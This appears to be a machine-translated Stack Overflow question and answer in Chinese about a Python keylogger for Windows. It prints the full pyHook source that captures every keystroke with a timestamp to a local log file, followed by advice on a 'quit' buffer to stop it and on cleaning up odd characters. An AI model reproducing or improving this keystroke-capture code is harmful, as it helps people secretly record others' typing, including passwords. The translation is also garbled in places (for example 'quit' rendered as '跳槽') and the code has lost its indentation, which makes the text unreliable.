在Python中创建密钥命令
问题描述:
我正在基于我在网上找到的脚本编写我自己的简单密钥记录器。但是,我正在尝试编写一个键盘命令,以便在输入此命令时记录器程序将关闭。我应该怎么做呢? (另外我知道它根本不安全,但是这个程序并不关心)在Python中创建密钥命令
例如Ctrl +'exit'会关闭程序。
另外它有时不会在它创建的.log文件中正确地打印某些字符,这可能是什么原因造成的? (我认为字符吸引类型可能导致此问题)
#Key Logger
#By: K.B. Carte
#Version 1.0
################
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
这是在Windows 7中,BTW。
答
让它通过一定的命令关闭,说“跳槽” ......你想创建一个缓冲区....如果你让你登录一个缓冲的一切,你可以很容易做到
buff += newkeypress
if "quit" in buff[-4:]:
logfile.close()
sys.exit(0)
,或者你可以这样做附加/弹出一个列表..或时髦的人物一些其他类型的循环缓冲区
,你可能结业想只打印了整个事情的六角..或忽略小于ascii 0的事件(如\ b和其他时髦字符)
或.. make一个ascii表(字典),并记录匹配的关键,所以如果你得到\ b你登录'',如果你得到'0'你登录'0'
我将如何使其Ctrl键然后键入“退出“? – rectangletangle 2010-08-09 05:50:59
试试这个? http://www.daniweb.com/code/snippet216830.html – pyInTheSky 2010-08-09 05:56:12